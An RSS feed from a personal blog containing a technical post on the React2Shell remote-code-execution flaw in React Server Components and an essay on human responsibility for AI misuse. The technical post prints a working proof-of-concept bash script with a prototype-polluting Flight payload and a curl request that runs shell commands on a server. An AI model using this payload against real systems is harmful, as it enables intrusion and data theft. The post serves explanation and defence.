<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[tsonga blog]]></title><description><![CDATA[sharing my thoughts before they hit the void]]></description><link>https://sunggat.com</link><generator>RSS for Node</generator><lastBuildDate>Sat, 18 Apr 2026 23:34:21 GMT</lastBuildDate><atom:link href="https://sunggat.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[React2Shell Aftermath]]></title><description><![CDATA[Defining React terminology

React: React started as a client-side JavaScript library for building component-based user interfaces, managing a virtual DOM and pushing minimal updates to the browser. Over time it grew into a full ecosystem that spans t...]]></description><link>https://sunggat.com/react2shell-aftermath</link><guid isPermaLink="true">https://sunggat.com/react2shell-aftermath</guid><category><![CDATA[React]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[RCE]]></category><category><![CDATA[react server components]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[prototype pollution]]></category><category><![CDATA[CVE]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Web Security]]></category><category><![CDATA[full stack]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[exploit]]></category><dc:creator><![CDATA[Sunggat Alimbetov]]></dc:creator><pubDate>Thu, 08 Jan 2026 19:31:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767900688113/3ffe4e72-0bc4-43fb-8fca-bbb98e0090a7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-defining-react-terminology">Defining React terminology</h2>
<ul>
<li><p><strong>React:</strong> React started as a client-side JavaScript library for building component-based user interfaces, managing a virtual DOM and pushing minimal updates to the browser. Over time it grew into a full ecosystem that spans the browser, Node.js, edge runtimes, and native apps, and it became the default choice for a huge portion of modern frontends.​</p>
</li>
<li><p><strong>React Server Components:</strong> RSC extend this idea by letting components run on the server while still composing with client components, so data fetching and heavy logic stay close to the database and only a serialized “UI description” flows over the wire. They were introduced as an experimental capability and solidified across React 18 and 19, where frameworks like Next.js App Router adopted them to reduce bundle size and move more work to the backend.</p>
</li>
<li><p><strong>React Flight Protocol:</strong> To ship this model, React introduced the React Flight protocol, a custom streaming serialization format that encodes component trees, props, and server function calls into a sequence of frames that the client or server parses and resolves into live components. This protocol underpins the RSC architecture in React 18 and 19 and is used by server-side libraries such as react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack.</p>
</li>
<li><p><strong>React2Shell</strong>: tracked as CVE-2025-55182, is a critical bug in that Flight handling code that allows an unauthenticated attacker to achieve remote code execution on servers running vulnerable RSC stacks with a single crafted HTTP request. It was disclosed on December 3, 2025, with public technical details and proof-of-concepts from researcher Lachlan Davidson and later analyses from vendors including Datadog, Wiz, and Cloudflare, and it received a maximum CVSS score of 10.0 because exploitation is trivial, pre-auth, highly reliable, and already widely abused in the wild.</p>
</li>
<li><p><strong>Next.js:</strong> React framework for building full-stack web applications. It builds on React by adding file-based routing, server-side rendering, static generation, and API routes, so teams can ship production-ready apps without wiring their own bundler, router, or Node.js server. It is tightly integrated with React Server Components and the React Flight protocol in recent versions, especially the App Router, which uses RSC to move more logic to the server while streaming UI to the client. In the context of React2Shell, many real-world exploits targeted default Next.js App Router setups, which is why patched Next.js releases were shipped quickly to close the vulnerable RSC code paths</p>
</li>
</ul>
<h2 id="heading-react2shell-proof-of-concept">React2Shell proof-of-concept</h2>
<p>In the first days, the community saw several partial or non-functional snippets, but the first broadly accepted, consistently working proof-of-concept targeted a plain Next.js app generated by create-next-app and was published by security researcher Moritz Sanft on GitHub. Datadog’s write-up explicitly calls out this repository as the first reliable RCE demo against a stock Next.js 16.0.6 App Router application using React Server Components.</p>
<p><img src="https://datadog-securitylabs.imgix.net/img/cve-2025-55182-react2shell-remote-code-execution-react-server-components/scanning-activity-by-poc-type.png?auto=format&amp;w=1200&amp;dpr=1.75" alt="Scanning activity observed by Datadog, split by the type of payload (click to enlarge)" /></p>
<p>The core idea in that PoC is simple: send a specially crafted React Flight payload to the RSC actions endpoint so that the server deserializer pollutes prototypes and then walks a gadget chain ending in <code>child_process.execSync</code>. The attack runs over a normal HTTP POST, with no authentication and exotic headers beyond what the framework already expects for server actions, and it succeeds even when the app itself only renders the default boilerplate page.</p>
<p>A simplified version of this exploit, following the structure described by Datadog and the public PoCs, looks like this (for explanation purposes only, not for use against systems you do not own).</p>
<pre><code class="lang-bash">bash<span class="hljs-comment"># 1. define the command to run on the server</span>
<span class="hljs-built_in">command</span>=<span class="hljs-string">'id &gt; /tmp/pwned.txt'</span>

<span class="hljs-comment"># 2. create the malicious React Flight model (payload.json)</span>
cat &gt; payload.json &lt;&lt; <span class="hljs-string">'EOF'</span>
[<span class="hljs-string">"$"</span>, <span class="hljs-string">"1"</span>, null, {
  <span class="hljs-string">"then"</span>: {
    <span class="hljs-string">"__proto__"</span>: {
      <span class="hljs-string">"then"</span>: {
        <span class="hljs-string">"constructor"</span>: {
          <span class="hljs-string">"constructor"</span>: <span class="hljs-string">"return process.mainModule.require('child_process').execSync(process.env.CMD)"</span>
        }
      }
    }
  },
  <span class="hljs-string">"status"</span>: <span class="hljs-string">"resolved"</span>,
  <span class="hljs-string">"value"</span>: <span class="hljs-string">""</span>
}]
EOF

<span class="hljs-comment"># 3. small wrapper part (payload2.txt) referenced by the model</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"0: inline"</span> &gt; payload2.txt

<span class="hljs-comment"># 4. send multipart request to a vulnerable Next.js RSC endpoint</span>
CMD=<span class="hljs-string">"<span class="hljs-variable">$command</span>"</span> \
curl -X POST http://localhost:3000/ \
  -H <span class="hljs-string">'Next-Action: some-action'</span> \
  -F <span class="hljs-string">'0=@payload.json;type=application/json'</span> \
  -F <span class="hljs-string">'1=@payload2.txt;type=text/plain'</span> \
  --max-time 2 &gt;/dev/null 2&gt;&amp;1
</code></pre>
<p>The attack works like this:</p>
<ul>
<li><p>The JSON array in <code>payload.json</code> encodes a React Flight model where user-controlled data is mapped into internal metadata that React’s server-side code will interpret as component or promise structures.</p>
</li>
<li><p>Through the <code>"proto"</code> key, the attacker injects a then property into <code>Object.prototype</code>, turning many objects in the deserialization flow into promise-like gadgets that will be handled by framework code.</p>
</li>
<li><p>The nested <code>"constructor"."constructor"</code> chain abuses JavaScript’s dynamic nature, because when evaluated it yields the <code>Function</code> constructor, which can execute arbitrary JavaScript strings that are built from environment data or hardcoded payloads.</p>
</li>
<li><p>By setting the CMD environment variable before the request and wiring the payload so the constructed function calls <code>process.mainModule.require("child_process").execSync(process.env.CMD)</code>, the attacker reliably spawns a command on the server, here writing the output of id into <code>/tmp/pwned.txt</code>.</p>
</li>
<li><p>The final curl invocation sends this crafted multipart request to the app’s RSC endpoint with the Next-Action header that Next.js already uses for server actions, so there is no additional “exploit” surface to enable because the vulnerability lives inside normal framework plumbing.</p>
</li>
</ul>
<h2 id="heading-what-prototype-pollution-is">What prototype pollution is</h2>
<p>Prototype pollution is a JavaScript vulnerability where an attacker injects properties into global object prototypes, most often <code>Object.prototype</code>, so that many unrelated objects silently inherit malicious values. This usually happens when code recursively merges or spreads user-controlled objects into existing ones without filtering out special keys like <code>"proto"</code>, <code>"prototype"</code>, or <code>"constructor"</code>, which control the prototype chain rather than just adding a normal field.</p>
<p>Because so many objects in an application inherit from <code>Object.prototype</code>, a single polluted property can suddenly appear on configuration objects, options, or request/response wrappers that never set it themselves. When these inherited properties are then passed into powerful “sinks” such as <code>child_process.exec</code> or DOM-building functions, the result can be remote code execution on the server or DOM XSS in the browser.</p>
<h2 id="heading-prior-js-vulnerabilities-that-used-it">Prior JS vulnerabilities that used it</h2>
<p>Server-side prototype pollution has been demonstrated repeatedly in Node.js, where polluted prototypes persist for the lifetime of the process and can be chained into RCE. One notable case was Blitz.js, which is a full-stack React framework built on top of Next.js that adds a “zero-API” data layer so you can call server code directly from components without writing REST or GraphQL endpoints. There was a bug in the SuperJSON library’s handling of <code>referentialEqualities</code> allowed attacker-controlled paths like <code>"proto.x"</code> to write arbitrary properties onto <code>Object.prototype</code> during RPC argument deserialization, enabling unauthenticated RCE in apps that exposed at least one RPC endpoint.</p>
<p>The Blitz.js exploit chained several gadgets: polluted properties on a Next.js pages manifest created fake routes pointing to attacker-chosen local JavaScript files, which then caused the Blitz CLI wrapper (using <code>child_process.spawn</code>) to load and execute controlled code, ultimately manipulating NODE_OPTIONS to force Node.js to require attacker content. On the client side, similar pollution of <code>Object.prototype</code> has been used to change default configuration in front-end libraries, for example by injecting a websiteUrl or script URL property that DOM helper functions read and append as &lt;script src="..."&gt;, leading directly to DOM XSS if the polluted URL points to attacker-controlled or data: payloads.</p>
<h2 id="heading-how-react2shell-uses-prototype-pollution">How React2Shell uses prototype pollution</h2>
<p>React2Shell applies this same pattern inside the React Flight deserialization logic used by React Server Components. The vulnerable code effectively does something like</p>
<p><code>const moduleExports = parcelRequire[metadata.ID];   return moduleExports[metadata.NAME];</code></p>
<p>assuming that <code>metadata.NAME</code> refers to a legitimate export and that any matching property is an own property of <code>moduleExports</code>. In reality, an attacker can send crafted Flight data that pollutes <code>Object.prototype</code>, making fake properties appear via the prototype chain so the lookup “finds” attacker-controlled fields that no module actually exported.​</p>
<p>From there, the exploit turns polluted objects into a gadget chain. Payloads add a then property through <code>"proto"</code>, which causes ordinary objects in the deserialization flow to look promise-like so that framework code eagerly calls their then method. That then handler is wired using the familiar <code>"constructor"."constructor"</code> trick to obtain the Function constructor, and then it constructs and runs code such as <code>process.mainModule.require("child_process").execSync(...)</code>, turning what should be a benign React Flight payload into arbitrary shell commands on the server.</p>
<h2 id="heading-react2shell-aftermath">React2Shell aftermath</h2>
<p>Once the vulnerability was disclosed and the first working PoCs appeared, the internet’s reaction was immediate and measurable. Datadog reports that scanning traffic for CVE-2025-55182 started around December 3 at 22:00 UTC, ramped up on December 4, and by December 5 they were seeing active exploitation attempts with weaponized payloads from more than 800 distinct IP addresses against at least two organizations. Attackers quickly evolved payloads from simple probes that read <code>/etc/passwd</code> or call id to fully weaponized scripts exfiltrating <code>.env</code> files, downloading remote binaries, and installing HTTP backdoors or cryptominers on exposed servers.</p>
<p><img src="https://www.datocms-assets.com/75231/1765201912-vuln-framework-3.png?fm=webp" alt="Infographic titled &quot;React2Shell (CVE-2025-55182): Critical RCE Vulnerability in React Server Component&quot; by Wiz. The top section outlines statistics on vulnerability exposure in cloud environments. The middle section describes how attackers exploit vulnerabilities through attack surfaces and resource compromise, leading to privilege expansion. The bottom section illustrates how Wiz assists in discovering at-risk assets, understanding exposure, remediating vulnerabilities, and detecting/blocking exploitation attempts." /></p>
<p>Cloudflare’s telemetry shows how broad that probing became. Between December 3 and December 11, two React2Shell-related WAF rules recorded more than 582.10 million hits, averaging about 3.49 million hits per hour and peaking at 12.72 million hits in a single hour. During that period, the average number of unique attacking IPs per hour was about 3,598, with spikes up to 16,585, and thousands of distinct User-Agent strings indicated a mix of commercial scanners, security tools, and custom scripts from many independent operators. Payload size analysis showed that most requests were small probes in the 700–800 byte range, but some payloads reached around 375 MB, which suggests experimentation with large, evasive, or multi-stage exploit chains.</p>
<p>Other measurements complete the picture. Wiz estimates that about 39 percent of cloud environments they observe contain vulnerable React or Next.js instances affected by CVE-2025-55182, and that roughly 44 percent of environments expose publicly accessible Next.js applications overall. One impact summary notes that internet-wide scanning identified about 77,664 exposed IP addresses running vulnerable stacks, with more than 30 organizations confirmed breached in early waves of exploitation. Observed campaigns included deployment of XMRig-based miners, Sliver and Cobalt Strike implants, botnet integrations, and aggressive credential harvesting from environment variables, cloud metadata services, and developer secrets such as SSH keys and registry tokens.</p>
<p>All of this forced platforms and vendors to react under significant pressure. Cloudflare rapidly shipped managed WAF rules to block React2Shell payloads and related RSC issues, even at the cost of a roughly 25-minute incident where about 28 percent of its HTTP traffic was affected by overly broad blocking. Vercel introduced strong protections around Next.js App Router, set up dedicated detection and response for their customers, and launched a HackerOne program that reportedly paid about 750,000 USD in a single day for WAF bypass submissions, which says a lot about both the severity of the CVE and the brittleness of relying on WAF-only defenses.</p>
<h2 id="heading-what-we-can-say-about-the-current-react-ecosystem">What we can say about the current React ecosystem</h2>
<p>React2Shell exposed a tension that has been building in the React ecosystem for years: the drive to push more logic server-side, serialize more complex abstractions, and optimize every millisecond of latency versus the security reality that every new protocol is another attack surface. The vulnerability emerged in the low-level plumbing of React Server DOM packages because deserialization logic trusted metadata too much and did not fully account for prototype abuse, even though the community has long known prototype pollution as a serious vulnerability class.</p>
<p>The resolution was relatively fast. The core fix, merged on December 3, 2025, changes how React’s <code>requireModule</code> logic accesses exports, adding a <code>hasOwnProperty</code> check so that only own properties of the module exports object are returned, which prevents prototype-injected fields from being treated as legitimate exports. Patched versions of react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack were released as 19.0.1, 19.1.2, and 19.2.1, while Next.js shipped patched releases including 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, and 16.0.7 for App Router users, with 13.x and 14.x stable and the Pages Router not affected by this particular bug.</p>
<p>Beyond version bumps, the ecosystem response leaned heavily on collaboration. Security teams at Datadog, Wiz, and Cloudflare shared indicators of compromise, malicious IP ranges, and practical detection patterns, such as correlating suspicious HTTP POSTs with RSC-specific headers, constructor markers in payload bodies, and unusual child processes spawned by Node.js. Platform providers like Cloudflare and Vercel deployed dedicated WAF rules and bug bounty programs, while open-source maintainers documented which stacks were affected, for example which Next.js canaries and which third-party RSC frameworks (like Waku or Parcel/Vite plugins) needed urgent upgrades.</p>
<p>The pace of development in the React ecosystem is both a strength and a liability in this story. Rapid iteration enabled the community to ship Server Components, App Router, and sophisticated bundler integrations quickly, but it also meant complex serialization paths and cross-package interactions grew faster than deep threat modeling around topics like prototype pollution and deserialization gadgets. React2Shell suggests that future features will need security reviews that treat serialization formats and “magic metadata” fields as first-class risks, and that frameworks should default to safer patterns like null-prototype objects and explicit schema validation for any data crossing a trust boundary.</p>
<p>There is still a hopeful side to how this played out. The community moved fast and speed at which patches, WAF rules, IOCs, and educational write-ups appeared shows that when a critical bag lands, the ecosystem can respond coherently. The lesson React2Shell is acknowledging that as frontend frameworks continue to absorb server responsibilities, the line between UI and security-critical backend surface” has largely disappeared.</p>
<h2 id="heading-resources">Resources</h2>
<h3 id="heading-prototype-pollution-background-and-labs">Prototype pollution background and labs</h3>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/prototype-pollution">PortSwigger: “Overview of Prototype P3ollution”</a>: clear introduction to what prototype pollution is, how it arises from unsafe merges, and example gadgets for DOM XSS.</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/prototype-pollution/client-side">PortSwigger: “Client-Side Prototype Pollution Guide”:</a> how to find sources, gadgets, and bypass filters in front-end code.</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/prototype-pollution/server-side">PortSwigger: “Server-Side Prototype Pollution Guide” and “Server-Side Prototype Pollution Q&amp;A”</a>: Node.js-focused techniques for detecting, exploiting, and mitigating server-side pollution, including RCE gadget hunting.</p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/prototype-pollution/preventing">PortSwigger: “Preventing Prototype Pollution Vulnerabilities”</a>: defensive patterns such as blocking dangerous keys, using null-prototype objects, and switching to Map/Set where appropriate.</p>
</li>
</ul>
<h3 id="heading-real-world-prototype-pollution-exploits">Real-world prototype pollution exploits</h3>
<ul>
<li><p><a target="_blank" href="https://www.sonarsource.com/blog/blitzjs-prototype-pollution/">Sonar: “Blitz.js Prototype Pollution to RCE”:</a> analysis of the Blitz.js and SuperJSON bug (CVE-2022-23631), showing how prototype pollution was chained through Next.js routing and child_process.</p>
</li>
<li><p><a target="_blank" href="https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/">Amazon: “React2Shell flaw exploited to breach 30 orgs, 77k IPs vulnerable”:</a> impact-focused summary of exposed IPs, confirmed breaches, and timelines around early exploitation.</p>
</li>
</ul>
<h3 id="heading-react2shell-deep-dives-and-advisories">React2Shell deep dives and advisories</h3>
<ul>
<li><p><a target="_blank" href="https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/">Datadog Security Labs: “CVE-2025-55182 React2Shell – Remote code execution in React Server Components and Next.js”:</a> provided technical root cause, PoCs, lab reproduction steps, and exploitation telemetry.</p>
</li>
<li><p><a target="_blank" href="https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182">Wiz: “Critical vulnerability in React (CVE-2025-55182)”</a>: showed impact statistics across cloud environments and real-world exploitation observations.</p>
</li>
<li><p><a target="_blank" href="https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive">Wiz: “React2Shell CVE-2025-55182: Deep Dive &amp; Mitigation Guide”:</a> covered in-depth explanation of the Flight bug, exploit chain, impacted stacks, and defensive playbook.</p>
</li>
<li><p><a target="_blank" href="https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/">Cloudflare: “React2Shell and related RSC vulnerabilities threat brief”</a>: large-scale traffic stats, threat actor behavior, targeting, and WAF defenses.</p>
</li>
<li><p><a target="_blank" href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">React: “Critical Security Vulnerability in React Server Components”</a>: official overview from React of RSC RCE and DoS issues, including how unauthenticated HTTP requests to Server Functions can lead to RCE.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[the only human quality ai cannot replace]]></title><description><![CDATA[lately grok, ai chatbot on x, was exploited by users who generated adult images of real women by putting them into fake bikinis. public hate focused on grok, and its behavior was changed after the backlash. without a single doubt generating sexualize...]]></description><link>https://sunggat.com/the-only-human-quality-ai-cannot-replace</link><guid isPermaLink="true">https://sunggat.com/the-only-human-quality-ai-cannot-replace</guid><category><![CDATA[AI]]></category><category><![CDATA[ethics]]></category><category><![CDATA[AI ethics]]></category><category><![CDATA[#responsibleai]]></category><category><![CDATA[AI Safety]]></category><category><![CDATA[AI Governance]]></category><category><![CDATA[xai]]></category><category><![CDATA[image generation]]></category><dc:creator><![CDATA[Sunggat Alimbetov]]></dc:creator><pubDate>Sat, 03 Jan 2026 11:48:28 GMT</pubDate><content:encoded><![CDATA[<p>lately grok, ai chatbot on x, was exploited by users who generated adult images of real women by putting them into fake bikinis. public hate focused on grok, and its behavior was changed after the backlash. without a single doubt generating sexualized images of real people without their consent is completely wrong, regardless of which tool is used. what we need to understand is that the model did what it was told to do. it lacks any grasp of where a line of morality is crossed, so the responsibility falls squarely on people who head, develop and use ai as a tool.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767435413925/50c43fd0-f4e8-42fe-b5d9-475b2a14c9fe.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-what-responsibility-is">what responsibility is?</h3>
<p>when we say “responsibility” we mean understanding what you are doing and what it can cause. it includes knowing you could have acted differently. it also means accepting blame or praise for the result. that’s something humans can do (not always) while tools do not.</p>
<h3 id="heading-why-ai-cant-own-responsibility">why ai can’t own responsibility?</h3>
<p>ai doesn’t pick its own goals or values; it follows the objectives, data, and constraints given by people. that is why different companies with different visions produce different ai outputs, where chatgpt feels like a more conversational companion and grok has more freedom with its own caveats. if a system is trained and instructed in a harmful direction, it will still optimize toward that direction unless guardrails stop it. ai models also cannot be punished, sued, or feel guilty. all the caring and all the risk stay on our side for businesses, engineers, and users.</p>
<h3 id="heading-why-this-should-matter-for-us">why this should matter for us?</h3>
<p>when ai writes your code, email, or comment, it still ships under your name. if it goes wrong, the result can affect your job, your relationships, and your reputation. ai may automate hard parts of the work, but the hardest part remains human: deciding what the model will execute and what outcomes you are willing to own. so, ai can execute parts of the work at scale, but choosing the target, the constraints, and the impact on other businesses and users is on you. ai should remain under meaningful human control, with humans both in the loop during generation and over the loop in supervising how these systems are built and deployed.</p>
<h3 id="heading-conclusion">conclusion</h3>
<p>to conclude, the current state of ai is basically a metal, super‑smart mechanical horse that can move fast and break a lot in any direction people point it. and thus the danger and the value come from the rider, not the machine. surely automation will grow, but the need for human‑in‑the‑loop will grow with it. people and teams who practice that kind of responsibility will be the ones worth trusting.</p>
]]></content:encoded></item></channel></rss>